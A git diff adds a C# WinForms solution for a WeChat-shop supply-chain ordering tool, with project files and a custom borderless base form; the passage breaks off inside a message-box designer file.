diff --git a/29WxOrder.sln b/29WxOrder.sln new file mode 100644 index 0000000..7773259 --- /dev/null +++ b/29WxOrder.sln @@ -0,0 +1,84 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36221.1 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "29WxOrderAllBase", "AllBase\29WxOrderAllBase.csproj", "{6461D807-B1C8-45F0-B388-E0CA1A418DE0}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "29供应链-微信小店", "29供应链-微信小店", "{1A7830FA-AC8F-40FB-A232-F0626812B8BE}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "29WxOrder", "29WxOrder\29WxOrder.csproj", "{D51A1BB0-17BB-44C3-9129-1F3187E82729}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "29WxOrderWork", "Work\29WxOrderWork.csproj", "{1AD45D66-6872-4522-ACF0-04E2C0514048}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|Mixed Platforms = Debug|Mixed Platforms + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|Mixed Platforms = Release|Mixed Platforms + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|Mixed Platforms.Build.0 = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x64.ActiveCfg = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x64.Build.0 = Debug|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x86.ActiveCfg = Debug|Any CPU + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Debug|x86.Build.0 = Debug|Any CPU + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|Any CPU.ActiveCfg = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|Any CPU.Build.0 = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|Mixed Platforms.ActiveCfg = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|Mixed Platforms.Build.0 = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x64.ActiveCfg = Release|Any CPU + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x64.Build.0 = Release|Any CPU + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x86.ActiveCfg = Release|x86 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0}.Release|x86.Build.0 = Release|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|Mixed Platforms.Build.0 = Debug|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|x64.ActiveCfg = Debug|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|x64.Build.0 = Debug|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|x86.ActiveCfg = Debug|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Debug|x86.Build.0 = Debug|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|Any CPU.ActiveCfg = Release|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|Any CPU.Build.0 = Release|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|x64.ActiveCfg = Release|x64 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|x64.Build.0 = Release|x64 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|x86.ActiveCfg = Release|x86 + {D51A1BB0-17BB-44C3-9129-1F3187E82729}.Release|x86.Build.0 = Release|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|Mixed Platforms.Build.0 = Debug|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|x64.ActiveCfg = Debug|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|x64.Build.0 = Debug|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|x86.ActiveCfg = Debug|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Debug|x86.Build.0 = Debug|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|Any CPU.ActiveCfg = Release|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|Any CPU.Build.0 = Release|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|Mixed Platforms.Build.0 = Release|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|x64.ActiveCfg = Release|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|x64.Build.0 = Release|Any CPU + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|x86.ActiveCfg = Release|x86 + {1AD45D66-6872-4522-ACF0-04E2C0514048}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {D51A1BB0-17BB-44C3-9129-1F3187E82729} = {1A7830FA-AC8F-40FB-A232-F0626812B8BE} + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {38687A61-0347-49AC-98C7-E7F7148C0234} + EndGlobalSection +EndGlobal diff --git a/29WxOrder/29WxOrder.csproj b/29WxOrder/29WxOrder.csproj new file mode 100644 index 0000000..16bf486 --- /dev/null +++ b/29WxOrder/29WxOrder.csproj @@ -0,0 +1,600 @@ + + + + + + + + + + Debug + AnyCPU + {D51A1BB0-17BB-44C3-9129-1F3187E82729} + WinExe + _29WxOrder + 29WxOrder + v4.6.2 + 512 + true + true + + + + + + x86 + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + true + bin\x64\Debug\ + DEBUG;TRACE + full + x64 + 7.3 + prompt + true + + + bin\x64\Release\ + TRACE + true + pdbonly + x64 + 7.3 + prompt + true + + + true + ..\bin\ + DEBUG;TRACE + full + x86 + default + prompt + true + + + ..\bin\ + TRACE + true + pdbonly + x86 + default + prompt + true + + + icon.ico + + + LocalIntranet + + + false + + + Properties\app.manifest + + + + ..\packages\Portable.BouncyCastle.1.8.6\lib\net40\BouncyCastle.Crypto.dll + + + ..\packages\CefSharp.Common.138.0.340\lib\net462\CefSharp.dll + + + ..\packages\CefSharp.Common.138.0.340\lib\net462\CefSharp.Core.dll + + + ..\packages\CefSharp.WinForms.138.0.340\lib\net462\CefSharp.WinForms.dll + + + + ..\packages\SharpZipLib.1.3.1\lib\net45\ICSharpCode.SharpZipLib.dll + + + ..\..\KJD Cef138\DllReference\NaiBa.CefHelper.138.dll + + + False + ..\DllReference\NaiBa.Util.dll + + + False + ..\DllReference\NaiBa.Util.Winform.dll + + + ..\packages\Newtonsoft.Json.9.0.1\lib\net45\Newtonsoft.Json.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.OOXML.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.OpenXml4Net.dll + + + ..\packages\NPOI.2.5.4\lib\net45\NPOI.OpenXmlFormats.dll + + + C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.5.2\System.dll + + + + + + + + + + + + + + + + False + ..\DllReference\zxing.dll + + + + + + + Form + + + AutoBuyOrder.cs + + + Form + + + BuyBrower.cs + + + Form + + + BuyProductBrower.cs + + + + + + Form + + + FactoryExportForm.cs + + + + + + + Form + + + LoginForm.cs + + + Form + + + MainForm.cs + + + + UserControl + + + ButtonSwitch.cs + + + + + UserControl + + + MyCheckBox.cs + + + Component + + + UserControl + + + MyProDetailsControl.cs + + + Component + + + UserControl + + + MyProSkuItemsControl.cs + + + + UserControl + + + UcPager.cs + + + Form + + + AfterSaleOrderListForm.cs + + + Form + + + AfterSaleOrderRefundAddressForm.cs + + + Form + + + AfterSaleReturnRefundForm.cs + + + Form + + + BuyOrderForms.cs + + + Form + + + BuyOrderListForm.cs + + + Form + + + BuyOrderPifaSelectForm.cs + + + Form + + + Bu_YinBowerForm.cs + + + Form + + + DgvHeaderEditForm.cs + + + Form + + + ExpressOrderForm.cs + + + Form + + + TransitAddressForm.cs + + + Form + + + OrderEdit.cs + + + Form + + + RemarkEditForm.cs + + + Form + + + SendOrderListForms.cs + + + Form + + + SetOnceOnlyUpIdForm.cs + + + Form + + + SuccessOrderListForm.cs + + + + + Form + + + SetForm.cs + + + Form + + + OAForm.cs + + + Form + + + PddShopLoginForm.cs + + + Form + + + ShopBrower.cs + + + + Form + + + SupportQrCodeForm.cs + + + Form + + + CefForm.cs + + + Form + + + ImportPddMultiBuyerForm.cs + + + Form + + + PddMultiBuyerForm.cs + + + Form + + + ProgressForm.cs + + + Form + + + WechatPaymentForm.cs + + + AutoBuyOrder.cs + + + BuyBrower.cs + Designer + + + BuyProductBrower.cs + + + FactoryExportForm.cs + + + LoginForm.cs + Designer + + + MainForm.cs + + + ButtonSwitch.cs + Designer + + + MyCheckBox.cs + + + MyProDetailsControl.cs + + + MyProSkuItemsControl.cs + + + UcPager.cs + + + AfterSaleOrderListForm.cs + Designer + + + AfterSaleReturnRefundForm.cs + + + BuyOrderForms.cs + + + BuyOrderListForm.cs + Designer + + + BuyOrderPifaSelectForm.cs + + + Bu_YinBowerForm.cs + + + DgvHeaderEditForm.cs + + + ExpressOrderForm.cs + + + TransitAddressForm.cs + + + OrderEdit.cs + + + RemarkEditForm.cs + + + SendOrderListForms.cs + + + SetOnceOnlyUpIdForm.cs + + + SuccessOrderListForm.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SetForm.cs + + + OAForm.cs + + + PddShopLoginForm.cs + + + ShopBrower.cs + + + SupportQrCodeForm.cs + + + CefForm.cs + + + ImportPddMultiBuyerForm.cs + + + PddMultiBuyerForm.cs + + + ProgressForm.cs + + + WechatPaymentForm.cs + + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {6461D807-B1C8-45F0-B388-E0CA1A418DE0} + 29WxOrderAllBase + + + {1ad45d66-6872-4522-acf0-04e2c0514048} + 29WxOrderWork + + + + + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + + + + + \ No newline at end of file diff --git a/29WxOrder/29WxOrder.csproj.user b/29WxOrder/29WxOrder.csproj.user new file mode 100644 index 0000000..9b86104 --- /dev/null +++ b/29WxOrder/29WxOrder.csproj.user @@ -0,0 +1,6 @@ + + + + ShowAllFiles + + \ No newline at end of file diff --git a/29WxOrder/App.config b/29WxOrder/App.config new file mode 100644 index 0000000..5e3e107 --- /dev/null +++ b/29WxOrder/App.config @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/29WxOrder/BaseForms/BaseForm.Designer.cs b/29WxOrder/BaseForms/BaseForm.Designer.cs new file mode 100644 index 0000000..4f4708c --- /dev/null +++ b/29WxOrder/BaseForms/BaseForm.Designer.cs @@ -0,0 +1,173 @@ + +namespace FindLittleRabbitOrder.BaseForms +{ + partial class BaseForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel2 = new System.Windows.Forms.Panel(); + this.pbMinBase = new System.Windows.Forms.PictureBox(); + this.pbNormalBase = new System.Windows.Forms.PictureBox(); + this.pbMaxBase = new System.Windows.Forms.PictureBox(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.lbTitle = new System.Windows.Forms.Label(); + this.pbCloseBase = new System.Windows.Forms.PictureBox(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panel2.Controls.Add(this.pbMinBase); + this.panel2.Controls.Add(this.pbNormalBase); + this.panel2.Controls.Add(this.pbMaxBase); + this.panel2.Controls.Add(this.pictureBox3); + this.panel2.Controls.Add(this.lbTitle); + this.panel2.Controls.Add(this.pbCloseBase); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(386, 32); + this.panel2.TabIndex = 2; + // + // pbMinBase + // + this.pbMinBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbMinBase.Image = global::FindLittleRabbitOrder.Properties.Resources.min; + this.pbMinBase.Location = new System.Drawing.Point(258, 0); + this.pbMinBase.Name = "pbMinBase"; + this.pbMinBase.Size = new System.Drawing.Size(32, 32); + this.pbMinBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbMinBase.TabIndex = 1; + this.pbMinBase.TabStop = false; + this.pbMinBase.Click += new System.EventHandler(this.PictureBox2_Click); + this.pbMinBase.MouseLeave += new System.EventHandler(this.PictureBox2_MouseLeave); + this.pbMinBase.MouseHover += new System.EventHandler(this.PictureBox2_MouseHover); + // + // pbNormalBase + // + this.pbNormalBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbNormalBase.Image = global::FindLittleRabbitOrder.Properties.Resources.normal; + this.pbNormalBase.Location = new System.Drawing.Point(290, 0); + this.pbNormalBase.Name = "pbNormalBase"; + this.pbNormalBase.Size = new System.Drawing.Size(32, 32); + this.pbNormalBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbNormalBase.TabIndex = 6; + this.pbNormalBase.TabStop = false; + this.pbNormalBase.Visible = false; + this.pbNormalBase.Click += new System.EventHandler(this.pbNormalBase_Click); + this.pbNormalBase.MouseLeave += new System.EventHandler(this.pbNormalBase_MouseLeave); + this.pbNormalBase.MouseHover += new System.EventHandler(this.pbNormalBase_MouseHover); + // + // pbMaxBase + // + this.pbMaxBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbMaxBase.Image = global::FindLittleRabbitOrder.Properties.Resources.max; + this.pbMaxBase.Location = new System.Drawing.Point(322, 0); + this.pbMaxBase.Name = "pbMaxBase"; + this.pbMaxBase.Size = new System.Drawing.Size(32, 32); + this.pbMaxBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbMaxBase.TabIndex = 5; + this.pbMaxBase.TabStop = false; + this.pbMaxBase.Visible = false; + this.pbMaxBase.Click += new System.EventHandler(this.pbMaxBase_Click); + this.pbMaxBase.MouseLeave += new System.EventHandler(this.pbMaxBase_MouseLeave); + this.pbMaxBase.MouseHover += new System.EventHandler(this.pbMaxBase_MouseHover); + // + // pictureBox3 + // + this.pictureBox3.BackColor = System.Drawing.Color.Transparent; + this.pictureBox3.Location = new System.Drawing.Point(5, 3); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(23, 23); + this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox3.TabIndex = 3; + this.pictureBox3.TabStop = false; + // + // lbTitle + // + this.lbTitle.AutoSize = true; + this.lbTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbTitle.ForeColor = System.Drawing.Color.White; + this.lbTitle.Location = new System.Drawing.Point(31, 6); + this.lbTitle.Name = "lbTitle"; + this.lbTitle.Size = new System.Drawing.Size(45, 17); + this.lbTitle.TabIndex = 2; + this.lbTitle.Text = "label1"; + // + // pbCloseBase + // + this.pbCloseBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbCloseBase.Image = global::FindLittleRabbitOrder.Properties.Resources.close; + this.pbCloseBase.Location = new System.Drawing.Point(354, 0); + this.pbCloseBase.Name = "pbCloseBase"; + this.pbCloseBase.Size = new System.Drawing.Size(32, 32); + this.pbCloseBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbCloseBase.TabIndex = 0; + this.pbCloseBase.TabStop = false; + this.pbCloseBase.Click += new System.EventHandler(this.PictureBox1_Click); + this.pbCloseBase.MouseLeave += new System.EventHandler(this.PictureBox1_MouseLeave); + this.pbCloseBase.MouseHover += new System.EventHandler(this.PictureBox1_MouseHover); + // + // BaseForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.ClientSize = new System.Drawing.Size(386, 183); + this.Controls.Add(this.panel2); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "BaseForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "BaseForm"; + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.PictureBox pbMinBase; + private System.Windows.Forms.PictureBox pbNormalBase; + private System.Windows.Forms.PictureBox pbMaxBase; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.Label lbTitle; + private System.Windows.Forms.PictureBox pbCloseBase; + } +} \ No newline at end of file diff --git a/29WxOrder/BaseForms/BaseForm.cs b/29WxOrder/BaseForms/BaseForm.cs new file mode 100644 index 0000000..f140927 --- /dev/null +++ b/29WxOrder/BaseForms/BaseForm.cs @@ -0,0 +1,253 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace FindLittleRabbitOrder.BaseForms +{ + public partial class BaseForm : Form + { + const int WM_NCHITTEST = 0x0084; + const int HTLEFT = 10; //左边界 + const int HTRIGHT = 11; //右边界 + const int HTTOP = 12; //上边界 + const int HTTOPLEFT = 13; //左上角 + const int HTTOPRIGHT = 14; //右上角 + const int HTBOTTOM = 15; //下边界 + const int HTBOTTOMLEFT = 0x10; //左下角 + const int HTBOTTOMRIGHT = 17; //右下角 + + protected bool Minimized { get { return this.pbMinBase.Visible; } set { this.pbMinBase.Visible = value; } } + + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case WM_NCHITTEST: + base.WndProc(ref m); + Point vPoint = new Point((int)m.LParam & 0xFFFF, + (int)m.LParam >> 16 & 0xFFFF); + vPoint = PointToClient(vPoint); + if (vPoint.X <= 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPLEFT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMLEFT; + else m.Result = (IntPtr)HTLEFT; + else if (vPoint.X >= ClientSize.Width - 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPRIGHT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMRIGHT; + else m.Result = (IntPtr)HTRIGHT; + else if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOP; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOM; + break; + default: + base.WndProc(ref m); + break; + } + } + public BaseForm() + { + InitializeComponent(); + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + } + + private void LcBaseForm_Load(object sender, EventArgs e) + { + //if (BaseClass.Ico != null) + // Iconx = Icon = BaseClass.Ico; + //else + // Iconx = this.Icon = BaseClass.Ico = ImageBuild.ConvertToIcon(global::FindLittleRabbitOrder.Properties.Resources.icon); + + + if (this.IsShowMax) + { + if (this.WindowState == FormWindowState.Maximized) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + else + { + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + } + } + + private void PictureBox2_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + public virtual void PictureBox1_Click(object sender, EventArgs e) + { + //pictureBox3.Image?.Dispose(); + Close(); + } + + private Icon _iconx; + public Icon Iconx + { + set + { + _iconx = value; + if (_iconx == null) return; + pictureBox3.Image = _iconx.ToBitmap(); + } + } + + private bool isShowMax = false; + public bool IsShowMax + { + get { return isShowMax; } + set + { + isShowMax = value; + if (isShowMax) + { + if (this.WindowState == FormWindowState.Maximized) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + else + { + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + } + else + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = false; + } + } + } + + public string TitleText + { + get + { + return Text; + } + set + { + lbTitle.Text = Text; + } + } + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + private void Panel1_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + {//获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void Panel1_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void Panel1_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; + } + + private void PictureBox1_MouseHover(object sender, EventArgs e) + { + this.pbCloseBase.Image = global::FindLittleRabbitOrder.Properties.Resources.close_hover; + this.Cursor = Cursors.Hand; + + } + + private void PictureBox1_MouseLeave(object sender, EventArgs e) + { + this.pbCloseBase.Image = global::FindLittleRabbitOrder.Properties.Resources.close; + this.Cursor = Cursors.Default; + + } + + private void PictureBox2_MouseHover(object sender, EventArgs e) + { + this.pbMinBase.Image = global::FindLittleRabbitOrder.Properties.Resources.min_hover; + this.Cursor = Cursors.Hand; + + } + + private void PictureBox2_MouseLeave(object sender, EventArgs e) + { + this.pbMinBase.Image = global::FindLittleRabbitOrder.Properties.Resources.min; + this.Cursor = Cursors.Default; + + } + + public virtual void HideTitle() + { + // this.panel1.Visible = false; + } + + #region 窗体提交数据完成事件 + public event Action SaveComplete; + protected virtual void OnSaveComplete(object param) + { + this.SaveComplete?.Invoke(param); + } + #endregion + + private void pbNormalBase_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Normal; + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + + private void pbNormalBase_MouseHover(object sender, EventArgs e) + { + this.pbNormalBase.Image = global::FindLittleRabbitOrder.Properties.Resources.normal_hover; + this.Cursor = Cursors.Hand; + } + + private void pbNormalBase_MouseLeave(object sender, EventArgs e) + { + this.pbNormalBase.Image = global::FindLittleRabbitOrder.Properties.Resources.normal; + this.Cursor = Cursors.Default; + } + + private void pbMaxBase_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Maximized; + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + + private void pbMaxBase_MouseHover(object sender, EventArgs e) + { + this.pbMaxBase.Image = global::FindLittleRabbitOrder.Properties.Resources.max_hover; + this.Cursor = Cursors.Hand; + } + + private void pbMaxBase_MouseLeave(object sender, EventArgs e) + { + this.pbMaxBase.Image = global::FindLittleRabbitOrder.Properties.Resources.max; + this.Cursor = Cursors.Default; + } + } +} diff --git a/29WxOrder/BaseForms/BaseForm.resx b/29WxOrder/BaseForms/BaseForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/BaseForms/BaseForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/BaseForms/BaseMsgForm.Designer.cs b/29WxOrder/BaseForms/BaseMsgForm.Designer.cs new file mode 100644 index 0000000..7f2febc --- /dev/null +++ b/29WxOrder/BaseForms/BaseMsgForm.Designer.cs @@ -0,0 +1,145 @@ + +namespace FindLittleRabbitOrder.BaseForms +{ + partial class BaseMsgForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel2 = new System.Windows.Forms.Panel(); + this.pnlCancel = new DevComponents.DotNetBar.PanelEx(); + this.pnlConfirm = new DevComponents.DotNetBar.PanelEx(); + this.picTip = new System.Windows.Forms.PictureBox(); + this.lblMsg = new System.Windows.Forms.Label(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picTip)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.pnlCancel); + this.panel2.Controls.Add(this.pnlConfirm); + this.panel2.Controls.Add(this.picTip); + this.panel2.Controls.Add(this.lblMsg); + this.panel2.Location = new System.Drawing.Point(3, 32); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(382, 182); + this.panel2.TabIndex = 2; + // + // pnlCancel + // + this.pnlCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.pnlCancel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlCancel.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlCancel.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlCancel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlCancel.Location = new System.Drawing.Point(280, 132); + this.pnlCancel.Name = "pnlCancel"; + this.pnlCancel.Size = new System.Drawing.Size(80, 30); + this.pnlCancel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnlCancel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.pnlCancel.Style.Border = 